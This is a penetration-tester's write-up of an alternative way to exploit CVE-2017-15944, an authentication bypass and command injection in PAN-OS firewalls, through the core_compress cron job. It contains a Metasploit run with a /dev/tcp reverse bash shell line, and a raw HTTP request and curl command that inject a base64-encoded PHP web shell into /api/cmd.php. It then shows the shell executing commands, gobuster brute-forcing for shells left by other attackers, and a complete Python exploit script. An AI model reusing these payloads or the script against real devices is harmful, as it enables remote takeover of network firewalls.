I encountered a situation where the target running PAN-OS was vulnerable to CVE-2017-15944 but I was unable to exploit it using Metasploit.
One of the techniques of exploiting CVE-2017-15944 exploit, is to create a file under /opt/pancfg/mgmt/logdb/traffic/1/* which gets processed by the cron job (/etc/cron.d/indexgen -> /usr/local/bin/genindex_batch.sh). Metasploit uses this technique.
The article at https://tinyhack.com/2019/01/10/alternative-way-to-exploit-cve-2017-15944-on-pan-os-6-1-0/ mentions that it might be impossible to exploit CVE-2017-15944 as the script is already running. The article mentions that the cron job (/etc/cron.d/core_compress -> /usr/local/bin/core_compress) is also vulnerable to command injection.
The problem with this is: this script will check if another instance of it is still running, and if it is, then it will just exit, preventing us from performing an attack when another attacker is still connected.
- PAN-OS 7.1 <= 7.1.13
- PAN-OS 7.0 <= 7.0.18
- PAN-OS 6.1 <= 6.1.18
The below nuclei-template shows that the target host is vulnerable to authentication bypass (CVE-2017-15944).
% nuclei -t CVE-2017-15944.yaml -l /tmp/websites.hosts
[INF] Loading templates...
[INF] [CVE-2017-15944] PreAuth RCE on Palo Alto GlobalProtect (@emadshanab,milo2012) [high]
[INF] Loading workflows...
[INF] Using 1 rules (1 templates, 0 workflows)
[2021-07-18 02:08:53] [CVE-2017-15944] [http] [high] https://192.168.31.187/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";
Below is an example of the exploit failing in Metasploit.
msf6 exploit(linux/http/panos_readsessionvars) > show options
Module options (exploit/linux/http/panos_readsessionvars):
Name Current Setting Required Description
---- --------------- -------- -----------
CBHOST no The listener address used for staging the real payload
CBPORT no The listener port used for staging the real payload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.31.187 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.31.186 yes The listen address (an interface may be specified)
LPORT 4445 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(linux/http/panos_readsessionvars) > exploit
[+] 0<&133-;exec 133<>/dev/tcp/192.168.31.186/4445;sh <&133 >&133 2>&133
[*] Started reverse TCP handler on 192.168.31.186:4445
[*] Creating our corrupted session ID...
[*] Calling Administrator.get to create directory under /opt/pancfg/mgmt/logdb/traffic/1/...
[*] Waiting up to 20 minutes for the cronjob to fire and execute...
[*] Waiting for a session, 1200 seconds left...
[*] Waiting for a session, 1169 seconds left...
List of cron jobs in /etc/cron.d on PanOS 7.0.1
[root@PA-VM cron.d]# pwd
pwd
/etc/cron.d
[root@PA-VM cron.d]# ls -alh
ls -alh
total 60K
drwx------ 2 root root 4.0K Jul 17 08:41 .
drwxr-xr-x 54 root root 4.0K Jul 17 08:41 ..
-rw-r--r-- 1 root root 69 Jul 9 2015 bot
-rw-r--r-- 1 root root 363 Jul 9 2015 checkluserdb
-rw-r--r-- 1 root root 70 Jul 9 2015 core_compress
-rw-r--r-- 1 root root 75 Jul 9 2015 indexgen
-rw-r--r-- 1 root root 82 Jul 17 08:44 pan-auto-updater
-rw-r--r-- 1 root root 17 Jul 17 08:44 pan-av-updater
-rw-r--r-- 1 root root 17 Jul 17 08:44 pan-cc-crypto-self-test
-rw-r--r-- 1 root root 17 Jul 17 08:44 pan-cc-software-integrity-self-test
-rw-r--r-- 1 root root 17 Jul 17 08:44 pan-gpdatafile-updater
-rw-r--r-- 1 root root 77 Jul 9 2015 reportgen
-rw-r--r-- 1 root root 17 Jul 17 08:44 sc_download
-rw-r--r-- 1 root root 172 Jul 17 08:41 stats_updater
-rw-r--r-- 1 root root 97 Jul 9 2015 vacuum-sqlite-db
Cron job details
Cron Job | Details |
---|---|
/etc/cron.d/indexgen | 0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh |
/etc/cron.d/core_compress | 0,15,30,45 * * * * root /usr/local/bin/core_compress |
/etc/cron.d/reportgen | 02 2 * * * root /usr/local/bin/genreports_batch.sh generate |
/etc/cron.d/stats_updater | 10 02,06,10,14,18,22 * * * root /usr/local/bin/masterd_batch -i -s -n -p 1 stats_gen /usr/local/bin/stats_upload.py > /var/log/pan/stats_service.log 2>&1 |
/etc/cron.d/pan-auto-updater | 2 1 * * 3 root /usr/local/bin/pan-auto-updater.sh download-only |
/etc/cron.d/bot | 1 0 * * * root /usr/local/bin/rotate_botnet_log.s |
We can make use of the cron job (/etc/cron.d/core_compress) that calls (/usr/local/bin/core_compress) by writing to /var/cores/*.core. We will have to create a file under /var/cores that writes a PHP script to /var/appweb/htdocs/api/cmd.php once the cron job has run.
Request
POST /php/utils/router.php/Administrator.get HTTP/1.1
Host: 192.168.31.187
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
Cookie: PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7
Content-Length: 505
{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid":713}
Response
HTTP/1.1 200 OK
Server:
Date: Sun, 18 Jul 2021 06:33:47 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
Pragma: private
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-FRAME-OPTIONS: SAMEORIGIN
Content-Length: 237
{"type":"rpc","tid":"713","action":"PanDirect","method":"execute","predefinedCacheUpdate":"true","result":{"@async-mode":"yes","@status":"success","@code":"19","result":{"msg":{"line":"Async request enqueued with jobid 11"},"job":"11"}}}
Below is the sample curl command to exploit CVE-2017-15944 using /etc/cron.d/core_compress. A PHP file will be created under /var/appweb/htdocs/api/cmd.php.
% curl -i -s -k -X $'POST' \
-H $'Host: 192.168.31.187' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'User-Agent: python-requests/2.23.0' -H $'Content-Length: 505' \
-b $'PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7' \
--data-binary $'{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin\']\\\" async-mode=\'yes\' refresh=\'yes\' cookie=\'../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;\'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}' \
$'https://192.168.31.187/php/utils/router.php/Administrator.get'
We can use the below loop command to check when the cron job has executed. The cron job (/etc/cron.d/core_compress) runs at 0,15,30,45 minutes every hour.
% while true; do httpx -l /tmp/web1.txt -status-code -silent; sleep 3; done
https://192.168.31.187/api/cmd.php?c=ifconfig [404]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
The below command shows us accessing the PHP script at https://x.x.x.x/api/cmd.php to run the command 'ifconfig' on the target system.
% curl -k -L "https://192.168.31.187/api/cmd.php?c=ifconfig"
eth0 Link encap:Ethernet HWaddr 00:0C:29:A5:4A:57
inet addr:192.168.31.187 Bcast:192.168.31.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fea5:4a57/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6567 errors:0 dropped:0 overruns:0 frame:0
TX packets:4322 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:855990 (835.9 KiB) TX bytes:997351 (973.9 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.255.255.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:181897 errors:0 dropped:0 overruns:0 frame:0
TX packets:181897 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:108823710 (103.7 MiB) TX bytes:108823710 (103.7 MiB)
tap0 Link encap:Ethernet HWaddr 00:70:76:69:66:FF
inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:2918 (2.8 KiB) TX bytes:2012 (1.9 KiB)
tap0.1 Link encap:Ethernet HWaddr 00:70:76:69:66:FF
inet addr:127.130.1.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:492 (492.0 b)
tap0.251 Link encap:Ethernet HWaddr 00:70:76:69:66:FF
inet addr:127.131.1.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: ::ffff:127.131.1.1/112 Scope:Global
inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2708 (2.6 KiB) TX bytes:1052 (1.0 KiB)
If the target host is vulnerable but both techniques fail, the target might already been exploited.
The next alternative is to brute force the filenames under the / and /api/ folder.
Please see below for reference.
% git clone https://gitlab.com/kalilinux/packages/crunch
% cd crunch && make
% ./crunch 1 3 -f charset.lst lalpha -o /tmp/wordlist.txt
% ./gobuster dir -u https://192.168.31.187/api/ -w /tmp/wordlist.txt -x .php -k
===============================================================
2021/07/18 14:04:21 Starting gobuster
===============================================================
/cmd (Status: 200)
/cmd.php (Status: 200)
Filename | Download Link |
---|---|
PA-VM-ESX-6.1.0.ova | https://www.4shared.com/file/KUy8PHx-ce/PA-VM-ESX-610.html |
PA-VM-ESX-7.0.1.ova | https://www.4shared.com/file/SiJE2phFba/PA-VM-ESX-701.html |
PA-VM-ESX-8.0.5.ova | https://pan.baidu.com/s/1-VmvtAdYEj0bZgzE6vVnew (h92v) |
configure
set deviceconfig system ip-address 192.168.31.187 netmask 255.255.255.0
set deviceconfig system default-gateway 192.168.31.1
set deviceconfig system dns-setting servers primary 8.8.8.8
commit
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
requests.packages.urllib3.disable_warnings()
session = requests.Session()
def step3_exp():
exp_post = "{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']\\\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"
return exp_post
def exploit(target, port):
step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
#proxies = {'https': 'http://127.0.0.1:8080'}
#session.proxies.update(proxies)
try:
if session.get(step2_url, verify=False).status_code == 200:
exp_post = step3_exp()
print(step3_url)
print(exp_post)
rce = session.post(step3_url, data=exp_post, verify=False).json()
print(rce)
if rce['result']['@status'] == 'success':
print('[+] Success, please wait ... ')
print('[+] JobID: {}'.format(rce['result']['result']['job']))
else:
exit('[!] Fail')
else:
exit('[!] Bypass fail')
except Exception as err:
print(err)
if __name__ == '__main__':
if len(sys.argv) <= 3:
exploit(sys.argv[1], sys.argv[2])
else:
exit('[+] Usage: python CVE_2017_15944.py IP PORT')